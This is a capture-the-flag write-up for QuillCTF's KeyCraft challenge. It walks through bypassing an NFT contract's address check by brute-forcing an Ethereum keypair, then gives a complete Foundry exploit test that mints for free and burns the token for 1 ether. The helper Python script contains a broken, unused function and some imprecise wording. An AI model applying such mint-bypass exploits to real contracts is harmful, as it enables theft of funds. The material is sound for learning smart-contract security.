QuillCTF - KeyCraft

Challenge Link to heading
We are provided a contract:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract KeyCraft is ERC721 {
uint totalSupply;
address owner;
bool buyNFT;
constructor(string memory _name, string memory _symbol)
ERC721(_name, _symbol)
{
_mint(msg.sender, totalSupply++);
owner = msg.sender;
}
modifier checkAddress(bytes memory b) {
bool q;
bool w;
if (msg.sender == owner) {
buyNFT = true;
} else {
uint a = uint160(uint256(keccak256(b)));
q = (address(uint160(a)) == msg.sender);
a = a >> 108;
a = a << 240;
a = a >> 240;
w = (a == 13057);
}
buyNFT = (q && w) || buyNFT;
_;
buyNFT = false;
}
function mint(bytes memory b) public payable checkAddress(b) {
require(msg.value >= 1 ether || buyNFT, "Not allowed to mint.");
_mint(msg.sender, totalSupply++);
}
function burn(uint tok) public {
address a = ownerOf(tok);
require(msg.sender == a);
_burn(tok);
totalSupply--;
payable(a).transfer(1 ether);
}
}
and a POC setup:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/KeyCraft.sol";
contract KC is Test {
KeyCraft k;
address owner;
address user;
address attacker;
function setUp() public {
owner = makeAddr("owner");
user = makeAddr("user");
attacker = <Your Address>
vm.deal(user, 1 ether);
vm.startPrank(owner);
k = new KeyCraft("KeyCraft", "KC");
vm.stopPrank();
vm.startPrank(user);
k.mint{value: 1 ether}(hex"dead");
vm.stopPrank();
}
function testKeyCraft() public {
vm.startPrank(attacker);
//Solution
vm.stopPrank();
assertEq(attacker.balance, 1 ether);
}
}
Challenge Description: You are provided with 0 ether. After the hack, you should have 1 ether.
Solution Link to heading
The challenge is focused on understanding how public/private-key pairs and addresses are generated on the Ethereum chain. The goal is to get 1 ether. This can be achieved by calling the mint() function without paying anything. This can be achieved by either being the owner or passing the checks in the checkAddress modifier. The checkAddress modifier effectively checks for 2 things:
1. Public key -> Address Link to heading
It first checks if the value b hashed using keccak256 and only using the last 20 bytes is equal to msg.sender. This essentially is what happens when an address is generated from a public key. So we have to pass the public key as b, to pass this check.
2. Check for 4bytes of Address Link to heading
The function then does some weird bit shifts, which essentially leads to checking if a certain 4 bytes are 0x3301. The bytes are marked with an X below.
000000000XXXX000000000000000000000000000
So to pass this check we need to generate public/private key pairs and calculate their addresses until we find a pair that has these bytes set in its address. I wrote a Python script that does that for me:
from secrets import token_bytes
from coincurve import PublicKey
from sha3 import keccak_256
def generate_public_key(private_key):
public_key = keys.PrivateKey(bytes(private_key, 32)).public_key
return public_key
def check_addr(address):
address = int.from_bytes(address, 'big') & 0xFFFF000000000000000000000000000
address = address >> 108
return address == 13057
found_key = False
for i in range(pow(2, 16)):
private_key = keccak_256(token_bytes(32)).digest()
public_key = PublicKey.from_valid_secret(private_key).format(compressed=False)[1:]
addr = keccak_256(public_key).digest()[-20:]
print("Private Key:", private_key.hex())
print("Public Key:", public_key.hex())
print("Address:", addr.hex())
if check_addr(addr):
found_key = True
print("Key found")
break
Then I just used the pair to fulfill the test case. For passing the public key I needed abi.encodepacked and split the public key into 2 uint256s as there is no uint512 in solidity, but the key is 64 bytes long.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/KeyCraft.sol";
contract KC is Test {
KeyCraft k;
address owner;
address user;
address attacker;
function setUp() public {
owner = makeAddr("owner");
user = makeAddr("user");
attacker = vm.addr(0x5e5a515c460a667ce45f9e0949c5c2357250556909304b7c2ee8202a4b2909ac);
vm.deal(user, 1 ether);
vm.startPrank(owner);
k = new KeyCraft("KeyCraft", "KC");
vm.stopPrank();
vm.startPrank(user);
k.mint{value: 1 ether}(hex"dead");
vm.stopPrank();
}
function testKeyCraft() public {
vm.startPrank(attacker);
k.mint(abi.encodePacked(uint256(0xf89ae7139a2ecac685ff9161992b9ed1be7ae447883a9b42d533b0f67028298f), uint256(0x2cad20f5d06c1a65b3542e5287da1e2cd7c0fe17aeddd21edf58370c6eb1e07d)));
k.burn(2);
vm.stopPrank();
assertEq(attacker.balance, 1 ether);
}
}